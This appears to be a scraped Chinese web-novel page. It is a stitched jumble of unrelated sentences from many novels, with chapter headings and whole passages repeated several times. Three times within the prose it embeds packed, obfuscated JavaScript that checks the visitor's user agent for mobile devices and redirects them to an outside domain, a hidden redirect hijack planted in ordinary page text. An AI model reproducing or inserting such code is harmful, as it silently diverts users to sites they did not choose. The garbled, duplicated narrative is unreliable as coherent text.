两人是好友,在情感方面钟敏并没有隐瞒她,只是隐瞒了向羽的那一段而已。 这里面的房间皆是隔音的,不管里面发生什么事情,外面的人都无法听见,但是却有着通过闭路看以将房间李新的事情看着一清二楚。 不会吧。这里除了那个青玄尸王难道还有别的东西。本來一个尸王都够呛了。再來个尸鬼尸妖尸仙什么的我们更沒有什么胜算了。我心里这么想着。情绪就低落了下來。 “我告诉你,只要加入我们的组织,保证你衣食无忧,而且想要什么就要什么,想干什么就干什么,保证没人敢阻拦你。咱们都是互相平等互帮互助的好兄弟。”其中一人脸上很是虔诚的道,好像对自己说的生活很是向往。 三兄妹不知其意,却仍是依言跪下。明武明逊自是谨遵父言惯了,明昭虽调皮,但听父亲声音十分郑重,哪敢如平日般撒娇?也是老老实实跪下。 第一卷 第175章 以这样惨烈的方式摆脱他 四更天的长街冷风飒飒,空无一人,马蹄声由远及近,踏破寒夜的寂静,在几十支火把的照耀下,向着紫禁城疾驰而去。 “御驾回宫!开宫门!” 母亲性命无碍了,苏青黛的语气,便又活络了几分,星眸中有探究的光芒,直视着叶丰。 萧凡取出好几颗丹药塞入口中,双眼通红,冷冷的注视着后方的混沌凶兽,心中却是轻舒口气。 特别是易长河,陈阳还以为他是好人,没想到也是假惺惺的**子。 可是他们不知道,孩提时代的感情,有时候比成人的世界,更加历久弥新,也更加刻骨铭心。 对于那几个老朋友,章幅来是有信心的。毕竟他们都是道上有头有脸的人物。 盘托根老爷子,听了叶丰这话,长眉微微抖动着,放下了手中的米酒大碗,转向了叶丰,凝视了叶丰足有好几秒,突然哈哈大笑起来。 之前他是考虑到渔山餐饮的发展,需要的豆芽菜就越来越多了,可是现在改用机械种植,那么就不需要那么多的人手了。 刚刚进了大门,便听到了一声声销魂蚀骨的呻吟声,只是,细辨之下,那呻吟声中,还包含着无尽的痛楚之意。 那个孩子从监狱抱回俞家后,俞先生本来就对俞贝贝的肚子里孩子厌恶得很。 “有什么问题是叶老师解决不了的?”学生们立时情绪激动地反驳。 简然看完孙泽留下来的信,所有在仙弃城的日子,一幕幕的又回放在脑海。心中难过得更加深刻,悲痛成殇倒地抽蓄,两行眼泪早已流干,却仍旧哽咽,欲哭无泪。 “极衍棱射,”青云低喝一声,三条巨棱交结的中心瞬间冲射出滔天光柱,激射向了蓝乔力,蓝乔力知道这攻击破坏力极强,也不敢大意,天命之力瞬间鼓荡在身,璇起**,组成了火焰光幕。 叶冰吟觉得没什么可问的了,便叫了一名警卫跟着王富贵去了富贵古董店,王富贵走后,花柔便站了起来,然后不停的来回走动。 “死到临头还敢口出狂言。”大阵外的风凡淡淡地丢下了一句冰冷的话语。 “哪里,哪里,只是举手之劳而已。倒是我那劣徒得你不少恩惠,这点儿帮助实在不算什么。”雷凡也是笑着说道。 “锦衣卫?金总镖头,你确定他们就是锦衣卫?”李明宇的脸色一下子变得白煞了起来。 直到锁天安然度过神劫,青云这才稍微宽下一些心来。锁天飞升神界是在半年以后,所以青云就让他留在了青花石广场。随后立刻化身出了神肖殿。 “对不起,把你给害了。”川岛英子知道事情的来龙去脉之后对武玄明表示深深地歉意。 “哼!”敖友安冷哼一声,没说什么,毕竟见识了风凡的手段,再加上此时是两位星日岛修士共同面对他的这个星月岛修士,所以这位岛主此时心中已经对那位星日岛的彪形大汉不抱任何希望了。 武玄明总算是弄清了因果,敢情这丫头是想来求他出手救治她奶奶的,当然,只要她开口了武玄明绝对不会拒绝。 陈德正一开口就要扣一个工分,大家虽然很好奇,但心疼工分,骂骂咧咧的慢慢散开了。 四更天的长街冷风飒飒,空无一人,马蹄声由远及近,踏破寒夜的寂静,在几十支火把的照耀下,向着紫禁城疾驰而去。 “御驾回宫!开宫门!” 母亲性命无碍了,苏青黛的语气,便又活络了几分,星眸中有探究的光芒,直视着叶丰。 萧凡取出好几颗丹药塞入口中,双眼通红,冷冷的注视着后方的混沌凶兽,心中却是轻舒口气。 特别是易长河,陈阳还以为他是好人,没想到也是假惺惺的**子。 可是他们不知道,孩提时代的感情,有时候比成人的世界,更加历久弥新,也更加刻骨铭心。 对于那几个老朋友,章幅来是有信心的。毕竟他们都是道上有头有脸的人物。 盘托根老爷子,听了叶丰这话,长眉微微抖动着,放下了手中的米酒大碗,转向了叶丰,凝视了叶丰足有好几秒,突然哈哈大笑起来。 之前他是考虑到渔山餐饮的发展,需要的豆芽菜就越来越多了,可是现在改用机械种植,那么就不需要那么多的人手了。 刚刚进了大门,便听到了一声声销魂蚀骨的呻吟声,只是,细辨之下,那呻吟声中,还包含着无尽的痛楚之意。 那个孩子从监狱抱回俞家后,俞先生本来就对俞贝贝的肚子里孩子厌恶得很。 “有什么问题是叶老师解决不了的?”学生们立时情绪激动地反驳。 简然看完孙泽留下来的信,所有在仙弃城的日子,一幕幕的又回放在脑海。心中难过得更加深刻,悲痛成殇倒地抽蓄,两行眼泪早已流干,却仍旧哽咽,欲哭无泪。 “极衍棱射,”青云低喝一声,三条巨棱交结的中心瞬间冲射出滔天光柱,激射向了蓝乔力,蓝乔力知道这攻击破坏力极强,也不敢大意,天命之力瞬间鼓荡在身,璇起**,组成了火焰光幕。 叶冰吟觉得没什么可问的了,便叫了一名警卫跟着王富贵去了富贵古董店,王富贵走后,花柔便站了起来,然后不停的来回走动。 “死到临头还敢口出狂言。”大阵外的风凡淡淡地丢下了一句冰冷的话语。 “哪里,哪里,只是举手之劳而已。倒是我那劣徒得你不少恩惠,这点儿帮助实在不算什么。”雷凡也是笑着说道。 “锦衣卫?金总镖头,你确定他们就是锦衣卫?”李明宇的脸色一下子变得白煞了起来。 直到锁天安然度过神劫,青云这才稍微宽下一些心来。锁天飞升神界是在半年以后,所以青云就让他留在了青花石广场。随后立刻化身出了神肖殿。 “对不起,把你给害了。”川岛英子知道事情的来龙去脉之后对武玄明表示深深地歉意。 “哼!”敖友安冷哼一声,没说什么,毕竟见识了风凡的手段,再加上此时是两位星日岛修士共同面对他的这个星月岛修士,所以这位岛主此时心中已经对那位星日岛的彪形大汉不抱任何希望了。 武玄明总算是弄清了因果,敢情这丫头是想来求他出手救治她奶奶的,当然,只要她开口了武玄明绝对不会拒绝。 陈德正一开口就要扣一个工分,大家虽然很好奇,但心疼工分,骂骂咧咧的慢慢散开了。 四更天的长街冷风飒飒,空无一人,马蹄声由远及近,踏破寒夜的寂静,在几十支火把的照耀下,向着紫禁城疾驰而去。 “御驾回宫!开宫门!” 母亲性命无碍了,苏青黛的语气,便又活络了几分,星眸中有探究的光芒,直视着叶丰。 萧凡取出好几颗丹药塞入口中,双眼通红,冷冷的注视着后方的混沌凶兽,心中却是轻舒口气。 特别是易长河,陈阳还以为他是好人,没想到也是假惺惺的**子。 可是他们不知道,孩提时代的感情,有时候比成人的世界,更加历久弥新,也更加刻骨铭心。 对于那几个老朋友,章幅来是有信心的。毕竟他们都是道上有头有脸的人物。 盘托根老爷子,听了叶丰这话,长眉微微抖动着,放下了手中的米酒大碗,转向了叶丰,凝视了叶丰足有好几秒,突然哈哈大笑起来。 之前他是考虑到渔山餐饮的发展,需要的豆芽菜就越来越多了,可是现在改用机械种植,那么就不需要那么多的人手了。 刚刚进了大门,便听到了一声声销魂蚀骨的呻吟声,只是,细辨之下,那呻吟声中,还包含着无尽的痛楚之意。 那个孩子从监狱抱回俞家后,俞先生本来就对俞贝贝的肚子里孩子厌恶得很。 “有什么问题是叶老师解决不了的?”学生们立时情绪激动地反驳。 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可是他们不知道,孩提时代的感情,有时候比成人的世界,更加历久弥新,也更加刻骨铭心。 对于那几个老朋友,章幅来是有信心的。毕竟他们都是道上有头有脸的人物。 盘托根老爷子,听了叶丰这话,长眉微微抖动着,放下了手中的米酒大碗,转向了叶丰,凝视了叶丰足有好几秒,突然哈哈大笑起来。 之前他是考虑到渔山餐饮的发展,需要的豆芽菜就越来越多了,可是现在改用机械种植,那么就不需要那么多的人手了。 刚刚进了大门,便听到了一声声销魂蚀骨的呻吟声,只是,细辨之下,那呻吟声中,还包含着无尽的痛楚之意。 那个孩子从监狱抱回俞家后,俞先生本来就对俞贝贝的肚子里孩子厌恶得很。 “有什么问题是叶老师解决不了的?”学生们立时情绪激动地反驳。 简然看完孙泽留下来的信,所有在仙弃城的日子,一幕幕的又回放在脑海。心中难过得更加深刻,悲痛成殇倒地抽蓄,两行眼泪早已流干,却仍旧哽咽,欲哭无泪。 “极衍棱射,”青云低喝一声,三条巨棱交结的中心瞬间冲射出滔天光柱,激射向了蓝乔力,蓝乔力知道这攻击破坏力极强,也不敢大意,天命之力瞬间鼓荡在身,璇起**,组成了火焰光幕。 叶冰吟觉得没什么可问的了,便叫了一名警卫跟着王富贵去了富贵古董店,王富贵走后,花柔便站了起来,然后不停的来回走动。 “死到临头还敢口出狂言。”大阵外的风凡淡淡地丢下了一句冰冷的话语。 “哪里,哪里,只是举手之劳而已。倒是我那劣徒得你不少恩惠,这点儿帮助实在不算什么。”雷凡也是笑着说道。 “锦衣卫?金总镖头,你确定他们就是锦衣卫?”李明宇的脸色一下子变得白煞了起来。 直到锁天安然度过神劫,青云这才稍微宽下一些心来。锁天飞升神界是在半年以后,所以青云就让他留在了青花石广场。随后立刻化身出了神肖殿。 “对不起,把你给害了。”川岛英子知道事情的来龙去脉之后对武玄明表示深深地歉意。 “哼!”敖友安冷哼一声,没说什么,毕竟见识了风凡的手段,再加上此时是两位星日岛修士共同面对他的这个星月岛修士,所以这位岛主此时心中已经对那位星日岛的彪形大汉不抱任何希望了。 武玄明总算是弄清了因果,敢情这丫头是想来求他出手救治她奶奶的,当然,只要她开口了武玄明绝对不会拒绝。 陈德正一开口就要扣一个工分,大家虽然很好奇,但心疼工分,骂骂咧咧的慢慢散开了。 四更天的长街冷风飒飒,空无一人,马蹄声由远及近,踏破寒夜的寂静,在几十支火把的照耀下,向着紫禁城疾驰而去。 “御驾回宫!开宫门!” 母亲性命无碍了,苏青黛的语气,便又活络了几分,星眸中有探究的光芒,直视着叶丰。 萧凡取出好几颗丹药塞入口中,双眼通红,冷冷的注视着后方的混沌凶兽,心中却是轻舒口气。 特别是易长河,陈阳还以为他是好人,没想到也是假惺惺的**子。 可是他们不知道,孩提时代的感情,有时候比成人的世界,更加历久弥新,也更加刻骨铭心。 对于那几个老朋友,章幅来是有信心的。毕竟他们都是道上有头有脸的人物。 盘托根老爷子,听了叶丰这话,长眉微微抖动着,放下了手中的米酒大碗,转向了叶丰,凝视了叶丰足有好几秒,突然哈哈大笑起来。 之前他是考虑到渔山餐饮的发展,需要的豆芽菜就越来越多了,可是现在改用机械种植,那么就不需要那么多的人手了。 刚刚进了大门,便听到了一声声销魂蚀骨的呻吟声,只是,细辨之下,那呻吟声中,还包含着无尽的痛楚之意。 那个孩子从监狱抱回俞家后,俞先生本来就对俞贝贝的肚子里孩子厌恶得很。 “有什么问题是叶老师解决不了的?”学生们立时情绪激动地反驳。 简然看完孙泽留下来的信,所有在仙弃城的日子,一幕幕的又回放在脑海。心中难过得更加深刻,悲痛成殇倒地抽蓄,两行眼泪早已流干,却仍旧哽咽,欲哭无泪。 “极衍棱射,”青云低喝一声,三条巨棱交结的中心瞬间冲射出滔天光柱,激射向了蓝乔力,蓝乔力知道这攻击破坏力极强,也不敢大意,天命之力瞬间鼓荡在身,璇起**,组成了火焰光幕。 叶冰吟觉得没什么可问的了,便叫了一名警卫跟着王富贵去了富贵古董店,王富贵走后,花柔便站了起来,然后不停的来回走动。 “死到临头还敢口出狂言。”大阵外的风凡淡淡地丢下了一句冰冷的话语。 “哪里,哪里,只是举手之劳而已。倒是我那劣徒得你不少恩惠,这点儿帮助实在不算什么。”雷凡也是笑着说道。 “锦衣卫?金总镖头,你确定他们就是锦衣卫?”李明宇的脸色一下子变得白煞了起来。 直到锁天安然度过神劫,青云这才稍微宽下一些心来。锁天飞升神界是在半年以后,所以青云就让他留在了青花石广场。随后立刻化身出了神肖殿。 “对不起,把你给害了。”川岛英子知道事情的来龙去脉之后对武玄明表示深深地歉意。 “哼!”敖友安冷哼一声,没说什么,毕竟见识了风凡的手段,再加上此时是两位星日岛修士共同面对他的这个星月岛修士,所以这位岛主此时心中已经对那位星日岛的彪形大汉不抱任何希望了。 武玄明总算是弄清了因果,敢情这丫头是想来求他出手救治她奶奶的,当然,只要她开口了武玄明绝对不会拒绝。 陈德正一开口就要扣一个工分,大家虽然很好奇,但心疼工分,骂骂咧咧的慢慢散开了。 第一卷 第176章 江晚余,你非要这么对朕吗? 胡尽忠不敢再劝,忙叫人备了肩辇,抬着祁让往咸福宫而去。 天色刚刚泛起鱼肚白,缭绕的雾气中,隐约还有大火之后的焦糊味。 祁让屈肘撑着额头,疲惫地闭上眼睛。 在张淼的吩咐下,系统又立刻将五尾的忍者碎片取了出来,而张淼则咬破手指再次结印。 杨科陪父母喝了下午茶就直接去找刘潇,他想看看刘潇对这件事的看法。 刘潇爸爸顾不得那么多了,从地上捡起信看了起来。一瞬间他什么也明白了,也无力地坐在地上。 刚才的那前所未有的强大天雷劫惊动了所有的人,包括各方大势力。 公司的电话倒是来了不少,全部都是漠思安打进来的,自己这个得力的助手,现在自己要离开了,不给他打声招呼,好像是有些不对。 一众人都是面面相觑,大墓在海底这个结论是他们一开始就定下的,要不然付东柳也不会这么拼命在海底折腾,如今你要是告诉他判断是错的,那这几天的投入不就是真的打水漂了? 梅仁、半眼两位少尉拉着西四追问她勇斗能天使的经历,正好这时一名干练的鸡瘟高级军官走了进来。看到军官的身影,米镧等人连忙列队迎接。 “不,我会自己还,不要你帮我。”大辅转过头,看着缪贤儿,露出坚强而和善的笑容。 乐歌点了点头,于是两人来到谏山家的道场。蛔蛔取了一把竹刀修练剑道,乐歌在一旁静静的看着,觉得蛔蛔每次挥刀都好帅。果然,无论换几个世界,蛔蛔都喜欢剑道。 可以说,这几日君瞳凭借他灵目府的身份,帮纪子龙暗中躲过了许多致命的包围和攻击,这一次,就更是利用兽族与人类之间的嫌隙,即将挑起一场混战。 “去!”李安琪斩钉截铁。她现在的情况是,与其在家提心吊胆的被家里人问考的怎么样,还不如陪着薛慕紫在街上晃荡的。 不过这事情实在是太过诡异了,本来纪子龙都还好好的和他们一起商量下一步如何决断,却不料纪子龙竟然突然之间,就消失不见了,吓的他们几个此刻都担忧不已。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477384|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你这头憨牛,老子帮你找到玷污‘食神’名誉的家伙,你却拿老子出气,简直不可理喻。”张旻天想骂却不敢骂出声,只能憋在肚子里。 杨天望了一眼,便清楚这里的贵宾都有上百人,他可以在这里收集到一部分的赌术法气。 “无妨,我与她迟早会有一场战斗,如今就当作提前演练吧。”魏青笑着说道。 两人原本是跟郑泽周信阳一样,都是去飞机场的,结果准备登机的时候。 纪子龙闪电抬手,与之对拼,一股强大力量爆发,南宫良也再次被震飞出去,而纪子龙却仅仅只是退后了几步而已。 后来就带着妹妹出来漂泊,到处寻找机缘,以期望能够让自己的实力再进一步。 “既然如此,杖毙了便是。”皇帝大手一挥,我的胳膊就被人架住了,使劲拽着我往后拖去。 承认辽东半岛是谁的土地是一回事,有谁管理又是另一回事,毋旭不谈辽东半岛的归属问题,从以前辽东管理的方式上向李烨索要三城的管理权,就是等于要回了三城。 第一卷 第177章 她会不会去找沈长安了 可容等胜天将这样的绝剑剑法给用出来之后此位水烟客的心即不由得大惊失色像胜天这般的剑法水烟客他还从来没有见过。此时此刻的水烟客才知道什么叫做厉害的他也知道什么叫做人外有人天外有天了。 “不就是我先前被卖到青楼里去了嘛虽说遇上了店麻烦可也学了不少东西……”好吧这是个不错的挡箭牌。 他初来乍到要是先能挣些仙石去三千城的时候也能稍做打点。 查林木不禁有些发呆了。胜天看着他这发呆的样子不禁又是悠然一笑可是胜天忽然将其笑容收敛随手即将查林木心中的这颗宝珠给吸了出来。 如今那孙恩**卢循却和这些土人勾结起来……唉如今又开始更大规模反叛如今连龙编都乱了起来。 但是刘胜之接着天柱直升天命之机会已经将法域和龙庭融合一处升为天宫又有气运加身。 但是现在确实当真看到了这巨人骸骨而且还是三眼巨人的骸骨。 而唐老头子给出的理由竟然是“能辟邪”这三个字一出哪怕是严肃如李海洋也都“噗哧”一声没忍住笑了出来。 做为金仙级的天蝠王他的身体相比于族中其他人还是非常棒的虽然生疼生疼可他还能撑住。 老厉维坦转头便也朝着黑城堡的那个卡口之处行去。不过老厉维坦的身体实在太大想要通过回旋之力的卡口就必须将这道裂缝再挤大一些。 这些家伙都是忘记了么在之前的时候他可是与这些人是说过的。 故而王琳怀孕之后这府中的琐事都未曾让她料理过生怕她费神。 拿出玉米红薯还有香肠鸡蛋其他人也都饿了围坐在一起吃起干粮来。 过了良久他慢慢的松开了手起身下塌令牌掉到了地上碎成两半。 正如岑总所言常翊的母亲是国内最大的弓箭生产经营公司的掌权者 但是到了晚上又很难熬我睡了醒醒了睡一连做了好几个梦梦里**有李叹。 这段时间的练习常翊没有避着别人所以店里的熟客都知道孔一娴要走职业路的十分佩服她的勇气。 奇葩这两姐妹都是绽放的奇葩。如果不是因为长得好看又有钱会不会已经被人套上麻 袋打了无数次了。 眼见着三天的时间已经一晃而过,而苏家一行人已经即将离开了霸王龙的地盘。 他们俩最近的发展那叫一个顺风顺水,尤其常翊带着孔一娴出去那几天,他们是每天晚上都黏在一起,陆珊都恨不得请假天天泡在射箭馆里陪他了。 当然了,他的防御不能说没有丝毫的作用,最少争取了瞬息之间。 在他身边的十几位武者,也是狂声大笑起来,正享受着掠夺资源带来的喜庆。 今晚的这个酒会,来的人还是蛮多的,几乎苏杭市有头有脸的人物都来了。 我直接一个急刹车停在了空中,有些忌惮地看了一眼地藏王和**九英。 阵法外面的蟲人感觉到同伴的虚弱,加大了攻击力度拼命的冲击着阵法,精灵族也振作精神对阵外的蟲人骚扰阻止它们突入进来。 一阵惨叫声大做,更让天魔蛇祖愤怒的是那一股**的能量,一下子将她整个罩住,让她躲无可躲。 正如叶风所说,此刻虽然动弹不得,但仅仅是分辨对方说话是真是假还是没有难度。 目的就是为了鬼魂到地府后,地府审查了鬼魂的来龙去脉,若是和陈情符上说的一样,那就能网开一面让鬼魂轮回,可若是和陈情符上说的不一样,那就会连坐帮鬼魂的阴阳抓鬼人或者道士。 宁道然也就没多说什么,只是韩冰走之前,塞了一百斤青竹灵米给她,让她别苦了自己,吃完再来搬,多的是。 闻一鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477385|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头打招呼,冷梅也淡淡看了一眼,算是回礼。果然是法医,难怪如此高冷。 凌梦心中十分清楚,当今凌国,不会有人能从天牢十八层里带走秦天。 地下,宁道然催动土遁术法诀,只觉得自己像是与土属性物质融为一体般,身躯虚化,变成了一种类似精神类的存在。 “这是什么东西?”枪妹好奇,这戒指竟然会隐身,只有用手触摸才会显现。 姚明浩摆摆手道:“你自己好好看看吧。”紧跟其后也跟进来几名手提灯笼的侍卫,顿时整间杂物间被照亮了。 但眼前之人,林越感觉对方已半步踏入第三重天,战斗力恐怕在东煌飞羽之上。 这个时代,地府的存在,在人间高层来说,并不是秘密,在人间,也有不少的玄学家族。 “他碰过你了?你们是不是发生关系了!”周柏宇嫉妒得面目狰狞。 哪怕拼命拍马屁如张邦昌,在这点上都坚决得很,大有晋王若是一意孤行,他们这些东府诸公就卷堂大散之意。最后杨凌也不得不让步,反正蔡家权势,已然一朝而空,暂时留他一条垂老性命,也就那么回事了。 杨东和叶灵萱正要下地宫取神树,尹冬竹从远处走来,她一直在兰海湖等着,可是这边打斗动静太大了,连她都听见了,知道杨东取神树肯定遇到意外,尹冬竹急忙赶了过来。 “第二世界之外就另说了!至少杀神在第二世界之内是无敌的,到了宇宙之中,哪怕是虚神都不敢保证自己绝对安全!”罗纳尔凝重道。 整个英雄帝国,上上下下全部动员起来,一股战前的紧张气氛迅速蔓延开来。 “不会吧,老板,你怎么知道港股会在这几分钟之内大跌?”一名交易员立刻大声地问道。 此时,这十根柱子还是和之前一样,并没有因为众人的到来或者离去而发生任何变化。 第一卷 第178章 你怎么确定那个是江美人? “我去吧今天冷。”汤力也看了一眼时间。发现确实是到了该吃午饭的时候。于是对方圆摆了摆手不等她答话就径自转身出了办公室买午饭去了。 对一般人都是这么想的但是有没有想过这个做决定的人最终决定的人他们知道自己做的是什么决定吗? 这一次孙圣没有在直接拒绝而是说考虑一下没有驳回唐媚的面子。 至于真假其实没必要多说但就整个南方政府来说他戴维斯还算是个能干的家伙。 信里没有提到的是那左轮手铳和弹丸黄家圈养的老工匠已经给仿制了出来三十步的破坏效果极好自然就淘汰了昂贵的军**。 武青灵双眼之中蒙上了一层淡淡的青灰se肌肤更显得冷白面颊上浮现出一片片象征着死亡和灭绝的暗蓝se的花纹。 铁龙一天不被除掉那么詹姆斯的心情就永远都不会安定下来这几乎已经成为了一个定律了。 杨欢哼哼的说着语气说得很洒脱可眼神里却多少还是很眷恋。 “他们的实力不足尽量阻拦其他的交给仙晶!!”夏天再次拿出了大批的仙晶开始向前撒去。 就好象当初杨欢捐了两百万英镑,要投资伦敦奥运会的草根足球培训丨计划,可这项计划呢? 这个我自然知道我答应了一声之后就往回走。可在刚走了没几步就感觉脚下有动静这种感觉很直接。 黄黄只有一个缺点就是真气天赋不行当然只是黄黄自己嘴里的缺点。 “走我们去见我父亲。”木清祈觉得此时若是直接去找了那个王后怕不是什么奇奇怪怪的圈套都在等着她往里面钻。 木清祈倒是听懂了这黑白智者早期在人间晃荡太久了因为本就出人拔萃的智商过分的优秀又不够懂得人情世故所以他们没少吃到那些来自不好一面人性的苦头。 这一刻那双凤眸中的嗜血已经被一抹柔情所取代即使他的脸上依旧是冰冷淡漠的可是眼中的那股依恋却是如此的明显。 几十个戴着红缨帽穿着皂服的人腰里佩着刀手里举着火把 “知道了爷爷和我说过了。”韩子烨冷冷地开口打断道他的眼神有超出同龄人的成熟。 都千劫知道现 在只要滴上一点自己的本命精血,就算大功告成。至于后面的操作,在都千劫离开武德神宫的时候,早就已经和几位师兄打听清楚。择星可不单单是单纯的择星,也是祭炼分身的机会,要不固魂就没有了意义。 不过说到这里的话,京子又不得不吐槽一下,那两个萝莉好像真的不太靠谱,明明可以把开拓者修得更加先进的,为啥要让它不断的进行跳跃前进,才可以到达目的地?就不能直接跳跃到她想要去的地方吗? 韩连依明显的感觉到肚子里宝宝动了动,随即便隐隐的觉得有些疼。她咬着牙,隐忍着,又走了几步,疼痛在慢慢加剧。她的所有力气都用来对抗那阵阵袭来的疼痛,迈开步子已经显得十分的困难。 这艘船不大,样式也很普通,吃水线也不深,看上去并没有携带多少货物。但它却挂着一面少见的瑞典国的国旗,毕竟路途遥远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不用墨子初喊,大家早看出来了,这些少年兵表情不自然的抽搐着,双眼中布满血丝,尽是疯狂,他们的肌肉隆起、紧绷,把皮甲撑的鼓鼓囊囊,还有皮肤上青筋暴起。 夏野眉头一皱,神庙的脏水,会随着地下河流走,而他现在就在这条河流中。 陆子安对准之前掏挖时做出来的凹凿,将扇形盒伸出来的木条一根一根卡了进去。 军队的行进中,高达开始鼓舞人心:“军人保家卫国,建功立业。同伴在战场激烈的作战,你们在后方守卫。心里一定很羡慕。 雕工不能过细,不能太粗陋,每一刀都得慎重,一旦有一丝不严谨,很可能会前功尽弃。 屈臣客,这两天也接到了海量的这样的询问。销售员们欲哭无泪,还得耐着性子,不断的解释,这不是他们家出的新品。看着顾客们一个个失望的离开,销售员们无奈的同时,也赶紧把这些市场反应给汇报上去。 毕竟,卓伦是他亲生儿子,而且是独生子,虽然卓父名声不太行,但是对卓伦确实是没得说的。 朝朝暮暮思念的人就在眼前,雪绾心有千言万语却不知该如何述说。 妮可实在无法想象自己那身为超级巨星的丈夫会嫉妒别人——好吧,嫉妒别人的个头倒是有可能。 “你是谁?”莫澜直接傻乎乎的问了一句,毕竟这人和莫辰瑾太过于相似了。 客卿虽然修炼自由,但如果宗门没有太大问题,一般都会呆上那么几年,除非宗门的原因或是客卿自身的问题,他们才有可能出走,去别的宗门。 有这么多的灵气涌入自己的体内,高轩便也是立刻开始催动那封神系统,将这无数的灵气全部转化为功勋值。 可惜,眼下大家都在陷入深深的震撼之中,根本没几人能够顾及得来。 直到警察到达,将两人从地上竖起来,再掰开各自的手指,事情才算告一段落。 “难道这就是阿婆和我说过的阴阳倒乱刀法?”天明心中轻语,眼里却是闪过一丝明朗。 千雪亦是如此想的,也许因为她和林向阳太熟了,所以她对他有的只有依赖,却没有心动的感觉。 如果他的猜测是真的,想到这里,天明不知不觉已经将手握成拳,他们 所要面临的敌人真的是太恐怖了。 众人都露出疑惑不解的神色,毕竟武者是无须向一个世俗界郡王下跪的,他们只拜天跪父母,至于郡王,他们完全可以无视。 虽然大家都了解了游戏规则,但是毕竟是第一次玩,没什么经验,也只能便宜了白琉璃这个老奸巨猾。 在世界上,死亡无疑是一种恐惧,但还有另外一种深层恐惧,就是自己最在乎最重视的事情被剥夺。 齐泰表情有些尴尬,道盟的人手不管在哪个省都不是很充足的,而在本省就更是了,就拿他这县来说,他这一个县除了他之外,就只有这四个年轻下属了,许多事情都还要请当地玄学界的人出手帮忙。 先是受害者的涌现,从数字“三”一路攀升到四十一名也还没有能够停止脚步——这才仅仅是目前已知的情况,时间跨度长达八年,而且涉嫌的加害者也不止一名。 过了半晌,池月正要询问是否可以前行,却听前方有一急切的马蹄声,向着他们这边奔驰而来。 废弃厂房内消失的人,不断出现在南临市内,肯定是想做什么,特别是白川看到那张黑手绢后,就放弃调查废弃厂房。 四周的雅间看着这帮如此热闹,不禁都开始朝此处张望,好事的还假装有事路过往里瞧了瞧。鸿运当头的雅间,一时间成为了这片地区最热议的话题。 仿佛黑暗中的一点曙光,虽微不足道,但无异是压塌骆驼的最后一根稻草。 面对不怒自威的穆辰,她不敢语气轻亵,毕竟他是同闻兴一同前来,想来有些地位。 郇互古怪地看着他,随即想到了什么,脸色一变,把右手背在身后。 “好辣!好久没吃,还真是有些不习惯了。”子君伸了伸舌头,用手在嘴前扇了扇,不知道是要赶走辣味还是要赶走此刻的感动,他竟然还记得自己最爱吃麻辣烫里的海带。 她也是在大街那家美发店上班后一段时间才发现的,因为老板给员工租的房子就在这条街的楼上。这条街楼上的出租屋里租住的人形形**,做正经营生的就没几个。但那时候她身上没钱,有免费的地方住,她没得选。 23级的**蜂属性比八月虎要强上很多,但对李青云他们这只质量超高的队伍来说,不过是拉的怪多一只少一只而已。 技能依旧是三个,除了光盾是2级以外其余技能依旧是1级。系统也没有给出这些技能升级所需要的条件,陈尘也是没办法。 不过猎者联盟虽然不能明面上支援木雪猎所,猎王这种资源,但是两名猎**师还是可以的。 但事已至此,姜峰已经闯了祸,就算补救都来不及,只能听天由命。 陈尘也是恍然大悟,两人立刻达成一致,决定走第二个选择。这也符合陈尘的心意,他可是恨透了这**的保全所。 用处真的不大,作为一中回馈社会的心理,姜沫沫想要为了社会做一些事情,尤其她的钱财现在来的容易,当然等以后科技发达了,监控随处可见的时候,她也不会随随便便使用扣扣空间了。 的确,上一次是因为霍思梦的身份地位不行,再加上脸上有伤,外面还有传言,但她又能高超到哪里,只要脸一毁,就等于毁所有。 因为仙力的回归,吴芙琦被打一拳出现的损伤立即好了,毕竟变回了仙躯,没有点福利可不行。 也幸亏现在是中午,并不是晚上睡觉高峰期,大约有二三十号人的样子,全都**在走廊里议论纷纷。 所要面临的敌人真的是太恐怖了。 众人都露出疑惑不解的神色,毕竟武者是无须向一个世俗界郡王下跪的,他们只拜天跪父母,至于郡王,他们完全可以无视。 虽然大家都了解了游戏规则,但是毕竟是第一次玩,没什么经验,也只能便宜了白琉璃这个老奸巨猾。 在世界上,死亡无疑是一种恐惧,但还有另外一种深层恐惧,就是自己最在乎最重视的事情被剥夺。 齐泰表情有些尴尬,道盟的人手不管在哪个省都不是很充足的,而在本省就更是了,就拿他这县来说,他这一个县除了他之外,就只有这四个年轻下属了,许多事情都还要请当地玄学界的人出手帮忙。 先是受害者的涌现,从数字“三”一路攀升到四十一名也还没有能够停止脚步——这才仅仅是目前已知的情况,时间跨度长达八年,而且涉嫌的加害者也不止一名。 过了半晌,池月正要询问是否可以前行,却听前方有一急切的马蹄声,向着他们这边奔驰而来。 废弃厂房内消失的人,不断出现在南临市内,肯定是想做什么,特别是白川看到那张黑手绢后,就放弃调查废弃厂房。 